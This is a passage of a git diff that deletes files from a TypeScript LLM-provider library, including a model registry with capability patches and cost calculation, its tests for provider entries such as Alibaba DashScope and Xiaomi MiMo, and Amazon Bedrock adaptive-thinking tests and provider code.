true, - input: ["text", "image"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0.08, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "mimo-v2-pro": { - id: "mimo-v2-pro", - name: "MiMo-V2-Pro", - api: "anthropic-messages", - provider: "xiaomi-token-plan-sgp", - baseUrl: "https://token-plan-sgp.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - }, - "xiaomi-token-plan-cn": { - "mimo-v2-flash": { - id: "mimo-v2-flash", - name: "MiMo-V2-Flash", - api: "anthropic-messages", - provider: "xiaomi-token-plan-cn", - baseUrl: "https://token-plan-cn.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.1, - output: 0.3, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "mimo-v2-omni": { - id: "mimo-v2-omni", - name: "MiMo-V2-Omni", - api: "anthropic-messages", - provider: "xiaomi-token-plan-cn", - baseUrl: "https://token-plan-cn.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0.08, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "mimo-v2-pro": { - id: "mimo-v2-pro", - name: "MiMo-V2-Pro", - api: "anthropic-messages", - provider: "xiaomi-token-plan-cn", - baseUrl: "https://token-plan-cn.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - }, -} as const; diff --git a/packages/pi-ai/src/models.test.ts b/packages/pi-ai/src/models.test.ts deleted file mode 100644 index 4bc7a4b66..000000000 --- a/packages/pi-ai/src/models.test.ts +++ /dev/null @@ -1,516 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { - applyCapabilityPatches, - getModel, - getModels, - getProviders, - supportsXhigh, -} from "./models.js"; -import type { Api, Model } from "./types.js"; - -// ═══════════════════════════════════════════════════════════════════════════ -// Custom provider preservation (regression: #2339) -// -// Custom providers (like alibaba-coding-plan) are manually maintained and -// NOT sourced from models.dev. They must survive models.generated.ts -// regeneration by living in models.custom.ts. -// ═══════════════════════════════════════════════════════════════════════════ - -describe("model registry — custom providers", () => { - it("hides Gemini customtools variants from the runtime registry", () => { - const googleModels = getModels("google").map((model) => model.id); - const geminiCliModels = getModels("google-gemini-cli").map( - (model) => model.id, - ); - - assert.equal( - googleModels.some((id) => id.endsWith("-customtools")), - false, - ); - assert.equal( - geminiCliModels.some((id) => id.endsWith("-customtools")), - false, - ); - assert.equal( - getModel("google" as any, "gemini-3.1-pro-preview-customtools" as any), - undefined, - ); - }); - - it("alibaba-coding-plan is a registered provider", () => { - const providers = getProviders(); - assert.ok( - providers.includes("alibaba-coding-plan"), - `Expected "alibaba-coding-plan" in providers, got: ${providers.join(", ")}`, - ); - }); - - it("alibaba-coding-plan has all expected models", () => { - const models = getModels("alibaba-coding-plan"); - const ids = models.map((m) => m.id).sort(); - const expected = [ - "MiniMax-M2.5", - "glm-4.7", - "glm-5", - "kimi-k2.5", - "qwen3-coder-next", - "qwen3-coder-plus", - "qwen3-max-2026-01-23", - "qwen3.5-plus", - ]; - assert.deepEqual(ids, expected); - }); - - it("alibaba-coding-plan models use the correct base URL", () => { - const models = getModels("alibaba-coding-plan"); - for (const model of models) { - assert.equal( - model.baseUrl, - "https://coding-intl.dashscope.aliyuncs.com/v1", - `Model ${model.id} has wrong baseUrl: ${model.baseUrl}`, - ); - } - }); - - it("alibaba-coding-plan models use openai-completions API", () => { - const models = getModels("alibaba-coding-plan"); - for (const model of models) { - assert.equal( - model.api, - "openai-completions", - `Model ${model.id} has wrong api: ${model.api}`, - ); - } - }); - - it("alibaba-coding-plan models have provider set correctly", () => { - const models = getModels("alibaba-coding-plan"); - for (const model of models) { - assert.equal( - model.provider, - "alibaba-coding-plan", - `Model ${model.id} has wrong provider: ${model.provider}`, - ); - } - }); - - it("getModel retrieves alibaba-coding-plan models by provider+id", () => { - // Use type assertion to test runtime behavior — alibaba-coding-plan may come - // from custom models rather than the generated file, so the narrow - // GeneratedProvider type doesn't include it until models.custom.ts is merged. - const model = getModel("alibaba-coding-plan" as any, "qwen3.5-plus" as any); - assert.ok( - model, - "Expected getModel to return a model for alibaba-coding-plan/qwen3.5-plus", - ); - assert.equal(model.id, "qwen3.5-plus"); - assert.equal(model.provider, "alibaba-coding-plan"); - }); -}); - -describe("model registry — custom zai provider (GLM-5.1)", () => { - it("zai provider includes glm-5.1 from custom models", () => { - const models = getModels("zai" as any); - const ids = models.map((m) => m.id); - assert.ok( - ids.includes("glm-5.1"), - `Expected "glm-5.1" in zai models, got: ${ids.join(", ")}`, - ); - }); - - it("glm-5.1 has correct provider and base URL", () => { - const model = getModel("zai" as any, "glm-5.1" as any); - assert.ok(model, "Expected getModel to return a model for zai/glm-5.1"); - assert.equal(model.id, "glm-5.1"); - assert.equal(model.provider, "zai"); - assert.equal(model.baseUrl, "https://api.z.ai/api/coding/paas/v4"); - assert.equal(model.api, "openai-completions"); - }); - - it("glm-5.1 has reasoning enabled and correct context window", () => { - const model = getModel("zai" as any, "glm-5.1" as any); - assert.ok(model); - assert.equal(model.reasoning, true); - assert.equal(model.contextWindow, 200000); - assert.equal(model.maxTokens, 131072); - }); - - it("custom glm-5.1 does not overwrite generated zai models", () => { - const models = getModels("zai" as any); - const ids = models.map((m) => m.id); - // Generated models must still exist alongside custom glm-5.1 - assert.ok(ids.includes("glm-5"), "Generated glm-5 should still exist"); - assert.ok( - ids.includes("glm-5-turbo"), - "Generated glm-5-turbo should still exist", - ); - }); -}); - -describe("model registry — xiaomi provider", () => { - it("xiaomi is a registered provider", () => { - const providers = getProviders(); - assert.ok( - providers.includes("xiaomi"), - `Expected "xiaomi" in providers, got: ${providers.join(", ")}`, - ); - }); - - it("xiaomi includes the expected chat models from the direct Anthropic-compatible endpoint", () => { - const models = getModels("xiaomi" as any); - const ids = models.map((m) => m.id).sort(); - assert.deepEqual(ids, [ - "mimo-v2-flash", - "mimo-v2-omni", - "mimo-v2-pro", - "mimo-v2.5", - "mimo-v2.5-pro", - ]); - }); - - it("xiaomi models use the Anthropic-compatible endpoint and provider identity", () => { - const models = getModels("xiaomi" as any); - for (const model of models) { - assert.equal(model.provider, "xiaomi"); - assert.equal(model.api, "anthropic-messages"); - assert.equal( - model.baseUrl, - "https://token-plan-ams.xiaomimimo.com/anthropic", - ); - } - }); - - it("getModel retrieves xiaomi MiMo models by provider+id", () => { - const model = getModel("xiaomi" as any, "mimo-v2-pro" as any); - assert.ok( - model, - "Expected getModel to return a model for xiaomi/mimo-v2-pro", - ); - assert.equal(model.id, "mimo-v2-pro"); - assert.equal(model.provider, "xiaomi"); - assert.equal(model.api, "anthropic-messages"); - }); -}); - -describe("model registry — kimi-coding provider", () => { - it("kimi-coding is a registered provider", () => { - const providers = getProviders(); - assert.ok( - providers.includes("kimi-coding"), - `Expected "kimi-coding" in providers, got: ${providers.join(", ")}`, - ); - }); - - it("kimi-coding exposes the canonical live model id", () => { - const model = getModel("kimi-coding" as any, "kimi-for-coding" as any); - assert.ok(model, "Expected getModel to return kimi-coding/kimi-for-coding"); - assert.equal(model.id, "kimi-for-coding"); - assert.equal(model.provider, "kimi-coding"); - assert.equal(model.api, "anthropic-messages"); - assert.equal(model.baseUrl, "https://api.kimi.com/coding"); - assert.equal(model.contextWindow, 262144); - }); - - it("kimi-coding uses market comparison pricing for Kimi K2.6", () => { - const model = getModel("kimi-coding" as any, "kimi-for-coding" as any); - assert.ok(model, "Expected getModel to return kimi-coding/kimi-for-coding"); - assert.equal(model.name, "Kimi K2.6"); - assert.equal(model.cost.input, 0.7448); - assert.equal(model.cost.output, 4.655); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// New provider: alibaba-dashscope (feat: #3891) -// -// Regular DashScope API for users without the Coding Plan. -// Separate from alibaba-coding-plan — different endpoint, auth, and pricing. -// ═══════════════════════════════════════════════════════════════════════════ - -describe("model registry — alibaba-dashscope provider", () => { - it("alibaba-dashscope is a registered provider", () => { - const providers = getProviders(); - assert.ok( - providers.includes("alibaba-dashscope"), - `Expected "alibaba-dashscope" in providers, got: ${providers.join(", ")}`, - ); - }); - - it("alibaba-dashscope has all expected models", () => { - const models = getModels("alibaba-dashscope"); - const ids = models.map((m) => m.id).sort(); - const expected = [ - "qwen3-coder-plus", - "qwen3-max", - "qwen3.5-flash", - "qwen3.5-plus", - "qwen3.6-plus", - ]; - assert.deepEqual(ids, expected); - }); - - it("alibaba-dashscope models use the international DashScope base URL", () => { - const models = getModels("alibaba-dashscope"); - for (const model of models) { - assert.equal( - model.baseUrl, - "https://dashscope-intl.aliyuncs.com/compatible-mode/v1", - `Model ${model.id} has wrong baseUrl: ${model.baseUrl}`, - ); - } - }); - - it("alibaba-dashscope models use openai-completions API", () => { - const models = getModels("alibaba-dashscope"); - for (const model of models) { - assert.equal( - model.api, - "openai-completions", - `Model ${model.id} has wrong api: ${model.api}`, - ); - } - }); - - it("alibaba-dashscope models have provider set correctly", () => { - const models = getModels("alibaba-dashscope"); - for (const model of models) { - assert.equal( - model.provider, - "alibaba-dashscope", - `Model ${model.id} has wrong provider: ${model.provider}`, - ); - } - }); - - it("alibaba-dashscope models all have 1M context window", () => { - const models = getModels("alibaba-dashscope"); - for (const model of models) { - assert.equal( - model.contextWindow, - 1_000_000, - `Model ${model.id} has wrong contextWindow: ${model.contextWindow}`, - ); - } - }); - - it("alibaba-dashscope models have positive paid costs (not free-tier)", () => { - const models = getModels("alibaba-dashscope"); - for (const model of models) { - assert.ok( - model.cost.input > 0, - `${model.id}: input cost should be > 0 (paid tier)`, - ); - assert.ok( - model.cost.output > 0, - `${model.id}: output cost should be > 0 (paid tier)`, - ); - } - }); - - it("qwen3-max is a reasoning model with correct pricing", () => { - const model = getModel("alibaba-dashscope" as any, "qwen3-max" as any); - assert.ok( - model, - "Expected getModel to return qwen3-max for alibaba-dashscope", - ); - assert.equal(model.reasoning, true); - assert.equal(model.cost.input, 1.2); - assert.equal(model.cost.output, 6); - assert.equal(model.maxTokens, 32768); - }); - - it("qwen3.5-plus is a reasoning model with correct pricing", () => { - const model = getModel("alibaba-dashscope" as any, "qwen3.5-plus" as any); - assert.ok( - model, - "Expected getModel to return qwen3.5-plus for alibaba-dashscope", - ); - assert.equal(model.reasoning, true); - assert.equal(model.cost.input, 0.4); - assert.equal(model.cost.output, 1.2); - assert.equal(model.maxTokens, 65536); - }); - - it("qwen3.5-flash is not a reasoning model", () => { - const model = getModel("alibaba-dashscope" as any, "qwen3.5-flash" as any); - assert.ok( - model, - "Expected getModel to return qwen3.5-flash for alibaba-dashscope", - ); - assert.equal(model.reasoning, false); - assert.equal(model.cost.input, 0.1); - assert.equal(model.cost.output, 0.4); - }); - - it("qwen3-coder-plus is not a reasoning model", () => { - const model = getModel( - "alibaba-dashscope" as any, - "qwen3-coder-plus" as any, - ); - assert.ok( - model, - "Expected getModel to return qwen3-coder-plus for alibaba-dashscope", - ); - assert.equal(model.reasoning, false); - assert.equal(model.cost.input, 1.0); - assert.equal(model.cost.output, 5.0); - }); - - it("qwen3.6-plus is a reasoning model", () => { - const model = getModel("alibaba-dashscope" as any, "qwen3.6-plus" as any); - assert.ok( - model, - "Expected getModel to return qwen3.6-plus for alibaba-dashscope", - ); - assert.equal(model.reasoning, true); - assert.equal(model.cost.input, 0.5); - assert.equal(model.cost.output, 3.0); - }); - - it("alibaba-dashscope is independent of alibaba-coding-plan (different endpoint)", () => { - const dashscope = getModels("alibaba-dashscope"); - const codingPlan = getModels("alibaba-coding-plan"); - for (const m of dashscope) { - assert.notEqual( - m.baseUrl, - "https://coding-intl.dashscope.aliyuncs.com/v1", - `${m.id} must not use the Coding Plan endpoint`, - ); - } - // Both providers must coexist — coding-plan must not have been overwritten - assert.ok( - codingPlan.length > 0, - "alibaba-coding-plan must still have models", - ); - }); - - it("getModel returns undefined for unknown model in alibaba-dashscope (failure path)", () => { - const model = getModel("alibaba-dashscope" as any, "does-not-exist" as any); - assert.equal(model, undefined); - }); -}); - -describe("model registry — custom models do not collide with generated models", () => { - it("generated providers still exist alongside custom providers", () => { - const providers = getProviders(); - // Spot-check a few generated providers - assert.ok(providers.includes("openai"), "openai should be in providers"); - assert.ok( - providers.includes("anthropic"), - "anthropic should be in providers", - ); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// Capability patches (regression: #2546) -// -// CAPABILITY_PATCHES must apply capabilities to models in the static -// registry AND to models constructed outside of it (custom, extension, -// discovered). supportsXhigh() reads model.capabilities — not model IDs. -// ═══════════════════════════════════════════════════════════════════════════ - -/** Helper: build a minimal synthetic model for testing */ -function syntheticModel(overrides: Partial>): Model { - return { - id: "test-model", - name: "Test Model", - api: "openai-completions" as Api, - provider: "test-provider", - baseUrl: "https://example.com", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16384, - ...overrides, - } as Model; -} - -describe("supportsXhigh — registry models", () => { - it("returns true for GPT-5.4 from the registry", () => { - const model = getModel("openai", "gpt-5.4" as any); - if (!model) return; // skip if model not in generated catalog - assert.equal(supportsXhigh(model), true); - }); - - it("returns false for a non-reasoning model", () => { - const models = getModels("openai"); - const nonXhigh = models.find((m) => !m.id.includes("gpt-5.")); - if (!nonXhigh) return; - assert.equal(supportsXhigh(nonXhigh), false); - }); -}); - -describe("supportsXhigh — synthetic models (regression: custom/extension models)", () => { - it("returns false for a model without capabilities", () => { - const model = syntheticModel({ id: "my-custom-model" }); - assert.equal(supportsXhigh(model), false); - }); - - it("returns true when capabilities.supportsXhigh is explicitly set", () => { - const model = syntheticModel({ - id: "my-custom-model", - capabilities: { supportsXhigh: true }, - }); - assert.equal(supportsXhigh(model), true); - }); -}); - -describe("applyCapabilityPatches", () => { - it("patches a GPT-5.4 model that has no capabilities", () => { - const model = syntheticModel({ id: "gpt-5.4-custom" }); - assert.equal(model.capabilities, undefined); - - const [patched] = applyCapabilityPatches([model]); - assert.equal(patched.capabilities?.supportsXhigh, true); - assert.equal(patched.capabilities?.supportsServiceTier, true); - }); - - it("patches a GPT-5.2 model", () => { - const model = syntheticModel({ id: "gpt-5.2" }); - const [patched] = applyCapabilityPatches([model]); - assert.equal(patched.capabilities?.supportsXhigh, true); - }); - - it("patches an Anthropic Opus 4.6 model", () => { - const model = syntheticModel({ - id: "claude-opus-4-6-20260301", - api: "anthropic-messages" as Api, - }); - const [patched] = applyCapabilityPatches([model]); - assert.equal(patched.capabilities?.supportsXhigh, true); - // Opus should not get supportsServiceTier - assert.equal(patched.capabilities?.supportsServiceTier, undefined); - }); - - it("preserves explicit capabilities over patches", () => { - const model = syntheticModel({ - id: "gpt-5.4-custom", - capabilities: { supportsXhigh: false, charsPerToken: 3 }, - }); - const [patched] = applyCapabilityPatches([model]); - // Explicit supportsXhigh: false wins over patch's true - assert.equal(patched.capabilities?.supportsXhigh, false); - // Patch fills in supportsServiceTier since it wasn't explicitly set - assert.equal(patched.capabilities?.supportsServiceTier, true); - // Explicit charsPerToken is preserved - assert.equal(patched.capabilities?.charsPerToken, 3); - }); - - it("does not modify models that match no patches", () => { - const model = syntheticModel({ id: "gemini-2.5-pro" }); - const [patched] = applyCapabilityPatches([model]); - assert.equal(patched.capabilities, undefined); - // Should return the same reference when unpatched - assert.equal(patched, model); - }); - - it("is idempotent — re-applying patches produces the same result", () => { - const model = syntheticModel({ id: "gpt-5.3" }); - const first = applyCapabilityPatches([model]); - const second = applyCapabilityPatches(first); - assert.deepEqual(first[0].capabilities, second[0].capabilities); - }); -}); diff --git a/packages/pi-ai/src/models.ts b/packages/pi-ai/src/models.ts deleted file mode 100644 index d39cc3e7a..000000000 --- a/packages/pi-ai/src/models.ts +++ /dev/null @@ -1,197 +0,0 @@ -import { CUSTOM_MODELS } from "./models.custom.js"; -import { MODELS } from "./models.generated.js"; -import type { - Api, - KnownProvider, - Model, - ModelCapabilities, - Usage, -} from "./types.js"; - -const modelRegistry: Map>> = new Map(); - -function isHiddenBuiltInModelId(id: string): boolean { - return id.endsWith("-customtools"); -} - -// Initialize registry from auto-generated MODELS (models.dev catalog) -for (const [provider, models] of Object.entries(MODELS)) { - const providerModels = new Map>(); - for (const [id, model] of Object.entries(models)) { - if (isHiddenBuiltInModelId(id)) continue; - providerModels.set(id, model as Model); - } - modelRegistry.set(provider, providerModels); -} - -// Merge manually-maintained custom providers that are NOT in models.dev. -// Custom models are additive — they never overwrite generated entries. -// See: https://github.com/singularity-forge/sf-run/issues/2339 -for (const [provider, models] of Object.entries(CUSTOM_MODELS)) { - if (!modelRegistry.has(provider)) { - modelRegistry.set(provider, new Map>()); - } - const providerModels = modelRegistry.get(provider)!; - for (const [id, model] of Object.entries(models)) { - if (!providerModels.has(id)) { - providerModels.set(id, model as Model); - } - } -} - -const kimiCodingModels = modelRegistry.get("kimi-coding"); -const kimiK26 = kimiCodingModels?.get("kimi-k2.6"); -if (kimiCodingModels && kimiK26 && !kimiCodingModels.has("kimi-for-coding")) { - kimiCodingModels.set("kimi-for-coding", { - ...kimiK26, - id: "kimi-for-coding", - }); -} - -// ─── Capability Patches ─────────────────────────────────────────────────────── -// -// Declare capabilities for models that pre-date the `capabilities` field or -// that live in the auto-generated catalog (models.generated.ts) which we -// cannot edit directly. Pattern-matching on model IDs is acceptable HERE -// because this is the single source of truth — call sites must never repeat it. -// -// Add new entries as additional capabilities emerge. Existing models that -// define `capabilities` in their model definition take precedence (the patch -// only fills in fields that are not already set). - -type CapabilityPatch = { - match: (m: Model) => boolean; - caps: ModelCapabilities; -}; - -const CAPABILITY_PATCHES: CapabilityPatch[] = [ - // GPT-5.x supports xhigh thinking and OpenAI service tiers - { - match: (m) => - m.id.includes("gpt-5.2") || - m.id.includes("gpt-5.3") || - m.id.includes("gpt-5.4"), - caps: { supportsXhigh: true, supportsServiceTier: true }, - }, - // Anthropic Opus 4.6 supports xhigh thinking - { - match: (m) => - m.api === "anthropic-messages" && - (m.id.includes("opus-4-6") || m.id.includes("opus-4.6")), - caps: { supportsXhigh: true }, - }, -]; - -/** - * Apply capability patches to a list of models. - * - * Models constructed outside the static pi-ai registry (custom models from - * models.json, extension-registered models, discovered models) do not pass - * through the module-init patch loop. Call this function after assembling - * any model list to ensure capabilities are set correctly. - * - * Explicit `capabilities` already set on a model take precedence over patches. - */ -export function applyCapabilityPatches(models: Model[]): Model[] { - return models.map((model) => { - for (const patch of CAPABILITY_PATCHES) { - if (patch.match(model)) { - return { - ...model, - capabilities: { ...patch.caps, ...model.capabilities }, - }; - } - } - return model; - }); -} - -// Apply patches to the static registry at module load -for (const [, providerModels] of modelRegistry) { - for (const [id, model] of providerModels) { - for (const patch of CAPABILITY_PATCHES) { - if (patch.match(model)) { - providerModels.set(id, { - ...model, - capabilities: { ...patch.caps, ...model.capabilities }, - }); - break; - } - } - } -} - -/** Providers that have entries in the generated MODELS constant */ -type GeneratedProvider = keyof typeof MODELS & KnownProvider; - -type ModelApi< - TProvider extends GeneratedProvider, - TModelId extends keyof (typeof MODELS)[TProvider], -> = (typeof MODELS)[TProvider][TModelId] extends { api: infer TApi } - ? TApi extends Api - ? TApi - : never - : never; - -export function getModel< - TProvider extends GeneratedProvider, - TModelId extends keyof (typeof MODELS)[TProvider], ->( - provider: TProvider, - modelId: TModelId, -): Model> { - const providerModels = modelRegistry.get(provider); - return providerModels?.get(modelId as string) as Model< - ModelApi - >; -} - -export function getProviders(): KnownProvider[] { - return Array.from(modelRegistry.keys()) as KnownProvider[]; -} - -export function getModels( - provider: TProvider, -): Model[] { - const models = modelRegistry.get(provider); - return models ? (Array.from(models.values()) as Model[]) : []; -} - -export function calculateCost( - model: Model, - usage: Usage, -): Usage["cost"] { - usage.cost.input = (model.cost.input / 1000000) * usage.input; - usage.cost.output = (model.cost.output / 1000000) * usage.output; - usage.cost.cacheRead = (model.cost.cacheRead / 1000000) * usage.cacheRead; - usage.cost.cacheWrite = (model.cost.cacheWrite / 1000000) * usage.cacheWrite; - usage.cost.total = - usage.cost.input + - usage.cost.output + - usage.cost.cacheRead + - usage.cost.cacheWrite; - return usage.cost; -} - -/** - * Check if a model supports xhigh thinking level. - * - * Reads from `model.capabilities.supportsXhigh` — set via CAPABILITY_PATCHES - * for generated models or declared directly in custom model definitions. - * Do not add model-ID or provider-name checks here; update CAPABILITY_PATCHES instead. - */ -export function supportsXhigh(model: Model): boolean { - return model.capabilities?.supportsXhigh ?? false; -} - -/** - * Check if two models are equal by comparing both their id and provider. - * Returns false if either model is null or undefined. - */ -export function modelsAreEqual( - a: Model | null | undefined, - b: Model | null | undefined, -): boolean { - if (!a || !b) return false; - return a.id === b.id && a.provider === b.provider; -} diff --git a/packages/pi-ai/src/oauth.ts b/packages/pi-ai/src/oauth.ts deleted file mode 100644 index d768a0fe6..000000000 --- a/packages/pi-ai/src/oauth.ts +++ /dev/null @@ -1 +0,0 @@ -export * from "./utils/oauth/index.js"; diff --git a/packages/pi-ai/src/providers/amazon-bedrock.test.ts b/packages/pi-ai/src/providers/amazon-bedrock.test.ts deleted file mode 100644 index 8d01f1c42..000000000 --- a/packages/pi-ai/src/providers/amazon-bedrock.test.ts +++ /dev/null @@ -1,184 +0,0 @@ -/** - * TDD Red Phase — Bug #4392 / Pre-existing Bug #4352 - * - * `supportsAdaptiveThinking()` in amazon-bedrock.ts is missing opus-4-7, - * sonnet-4-7, and haiku-4-5. These tests FAIL until the bug is fixed. - * - * Related: #4392 (opus-4-7 adaptive thinking not recognised on Bedrock) - * #4352 (pre-existing: only opus-4-6 / sonnet-4-6 whitelisted) - */ - -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import type { Model } from "../types.js"; -import { - type BedrockOptions, - buildAdditionalModelRequestFields, - mapThinkingLevelToEffort, - supportsAdaptiveThinking, -} from "./amazon-bedrock.js"; - -// --------------------------------------------------------------------------- -// Helpers -// --------------------------------------------------------------------------- - -function makeModel(id: string): Model<"bedrock-converse-stream"> { - return { - id, - name: id, - api: "bedrock-converse-stream", - provider: "amazon-bedrock" as any, - baseUrl: "", - reasoning: true, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 200000, - maxTokens: 32000, - }; -} - -// --------------------------------------------------------------------------- -// supportsAdaptiveThinking — RED tests (#4392 / #4352) -// --------------------------------------------------------------------------- - -describe("supportsAdaptiveThinking — Bug #4392 / #4352: missing models", () => { - // These two already pass (regression guard): - it("returns true for opus-4-6 (hyphen, Bedrock ARN style)", () => { - assert.ok( - supportsAdaptiveThinking("anthropic.claude-opus-4-6-20250514-v1:0"), - ); - }); - - it("returns true for sonnet-4-6 (hyphen)", () => { - assert.ok( - supportsAdaptiveThinking("anthropic.claude-sonnet-4-6-20250514-v1:0"), - ); - }); - - // --- RED: the following FAIL because opus-4-7 / sonnet-4-7 / haiku-4-5 are missing --- - - it("[#4392] returns true for opus-4-7 (hyphen, Bedrock ARN style)", () => { - // FAILS: supportsAdaptiveThinking does not include 'opus-4-7' - assert.ok( - supportsAdaptiveThinking("anthropic.claude-opus-4-7-20250514-v1:0"), - "opus-4-7 should support adaptive thinking (bug #4392)", - ); - }); - - it("[#4392] returns true for opus-4-7 (dot separator)", () => { - // FAILS: supportsAdaptiveThinking does not include 'opus-4.7' - assert.ok( - supportsAdaptiveThinking("anthropic.claude-opus-4.7-20250514-v1:0"), - "opus-4.7 (dot) should support adaptive thinking (bug #4392)", - ); - }); - - it("[#4352] returns true for sonnet-4-7 (hyphen)", () => { - // FAILS: supportsAdaptiveThinking does not include 'sonnet-4-7' - assert.ok( - supportsAdaptiveThinking("anthropic.claude-sonnet-4-7-20250514-v1:0"), - "sonnet-4-7 should support adaptive thinking (bug #4352)", - ); - }); - - it("[#4352] returns true for haiku-4-5 (hyphen)", () => { - // FAILS: supportsAdaptiveThinking does not include 'haiku-4-5' - assert.ok( - supportsAdaptiveThinking("anthropic.claude-haiku-4-5-20250514-v1:0"), - "haiku-4-5 should support adaptive thinking (bug #4352)", - ); - }); -}); - -// --------------------------------------------------------------------------- -// buildAdditionalModelRequestFields — adaptive thinking output for opus-4-7 -// Tests go through the public API surface to validate end-to-end behaviour. -// --------------------------------------------------------------------------- - -describe("buildAdditionalModelRequestFields — Bug #4392: opus-4-7 must use adaptive thinking", () => { - const options: BedrockOptions = { reasoning: "high" }; - - it("[#4392] opus-4-7 Bedrock ARN → thinking.type === 'adaptive' (not budget_tokens)", () => { - const model = makeModel("anthropic.claude-opus-4-7-20250514-v1:0"); - const fields = buildAdditionalModelRequestFields(model, options); - // FAILS: because supportsAdaptiveThinking returns false for opus-4-7, - // the function returns { thinking: { type: "enabled", budget_tokens: ... } } - assert.equal( - fields?.thinking?.type, - "adaptive", - "opus-4-7 should produce thinking.type='adaptive', not budget_tokens", - ); - }); - - it("[#4392] opus-4-7 dot separator → thinking.type === 'adaptive'", () => { - const model = makeModel("anthropic.claude-opus-4.7-20250514-v1:0"); - const fields = buildAdditionalModelRequestFields(model, options); - assert.equal( - fields?.thinking?.type, - "adaptive", - "opus-4.7 (dot) should produce thinking.type='adaptive'", - ); - }); - - it("[#4352] sonnet-4-7 → thinking.type === 'adaptive'", () => { - const model = makeModel("anthropic.claude-sonnet-4-7-20250514-v1:0"); - const fields = buildAdditionalModelRequestFields(model, options); - assert.equal( - fields?.thinking?.type, - "adaptive", - "sonnet-4-7 should produce thinking.type='adaptive'", - ); - }); - - it("[#4352] haiku-4-5 → thinking.type === 'adaptive'", () => { - const model = makeModel("anthropic.claude-haiku-4-5-20250514-v1:0"); - const fields = buildAdditionalModelRequestFields(model, options); - assert.equal( - fields?.thinking?.type, - "adaptive", - "haiku-4-5 should produce thinking.type='adaptive'", - ); - }); -}); - -// --------------------------------------------------------------------------- -// mapThinkingLevelToEffort — RED test for xhigh on opus-4-7 -// The Bedrock version returns "max" (dead code path at line 411), whereas -// the correct value is "xhigh" (as implemented in anthropic-shared.ts). -// --------------------------------------------------------------------------- - -describe("mapThinkingLevelToEffort — Bug #4392: opus-4-7 xhigh should return 'xhigh' not 'max'", () => { - it("[#4392] maps xhigh → 'xhigh' for opus-4-7 (native xhigh support)", () => { - // FAILS: current code returns "max" for opus-4-7 at line 411, - // and in any case this code path is unreachable because - // supportsAdaptiveThinking returns false for opus-4-7. - // After the fix, supportsAdaptiveThinking will return true AND - // mapThinkingLevelToEffort must return "xhigh" (not "max"). - const result = mapThinkingLevelToEffort( - "xhigh", - "anthropic.claude-opus-4-7-20250514-v1:0", - ); - assert.equal( - result, - "xhigh", - "opus-4-7 supports native xhigh effort — must not be clamped to 'max'", - ); - }); - - it("[#4392] maps xhigh → 'max' for opus-4-6 (no native xhigh, clamped)", () => { - // This already passes — regression guard. - const result = mapThinkingLevelToEffort( - "xhigh", - "anthropic.claude-opus-4-6-20250514-v1:0", - ); - assert.equal(result, "max"); - }); - - it("maps high → 'high' for opus-4-7 (not affected by bug)", () => { - const result = mapThinkingLevelToEffort( - "high", - "anthropic.claude-opus-4-7-20250514-v1:0", - ); - assert.equal(result, "high"); - }); -}); diff --git a/packages/pi-ai/src/providers/amazon-bedrock.ts b/packages/pi-ai/src/providers/amazon-bedrock.ts deleted file mode 100644 index 0ed13442e..000000000 --- a/packages/pi-ai/src/providers/amazon-bedrock.ts +++ /dev/null @@ -1,975 +0,0 @@ -import { - BedrockRuntimeClient, - type BedrockRuntimeClientConfig, - StopReason as BedrockStopReason, - type Tool as BedrockTool, - CachePointType, - CacheTTL, - type ContentBlock, - type ContentBlockDeltaEvent, - type ContentBlockStartEvent, - type ContentBlockStopEvent, - ConversationRole, - ConverseStreamCommand, - type ConverseStreamMetadataEvent, - ImageFormat, - type Message, - type SystemContentBlock, - type ToolChoice, - type ToolConfiguration, - ToolResultStatus, -} from "@aws-sdk/client-bedrock-runtime"; - -import { calculateCost } from "../models.js"; -import type { - Api, - AssistantMessage, - CacheRetention, - Context, - Model, - RequestedThinkingLevel, - SimpleStreamOptions, - StopReason, - StreamFunction, - StreamOptions, - TextContent, - ThinkingBudgets, - ThinkingContent, - ThinkingLevel, - Tool, - ToolCall, - ToolResultMessage, -} from "../types.js"; -import { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { parseStreamingJson } from "../utils/json-parse.js"; -import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; -import { - adjustMaxTokensForThinking, - buildBaseOptions, - clampReasoning, - isAutoReasoning, - resolveReasoningLevel, -} from "./simple-options.js"; -import { transformMessagesWithReport } from "./transform-messages.js"; - -export interface BedrockOptions extends StreamOptions { - region?: string; - profile?: string; - toolChoice?: "auto" | "any" | "none" | { type: "tool"; name: string }; - /* See https://docs.aws.amazon.com/bedrock/latest/userguide/inference-reasoning.html for supported models. */ - reasoning?: RequestedThinkingLevel; - /* Custom token budgets per thinking level. Overrides default budgets. */ - thinkingBudgets?: ThinkingBudgets; - /* Only supported by Claude 4.x models, see https://docs.aws.amazon.com/bedrock/latest/userguide/claude-messages-extended-thinking.html#claude-messages-extended-thinking-tool-use-interleaved */ - interleavedThinking?: boolean; -} - -type Block = (TextContent | ThinkingContent | ToolCall) & { - index?: number; - partialJson?: string; -}; - -export const streamBedrock: StreamFunction< - "bedrock-converse-stream", - 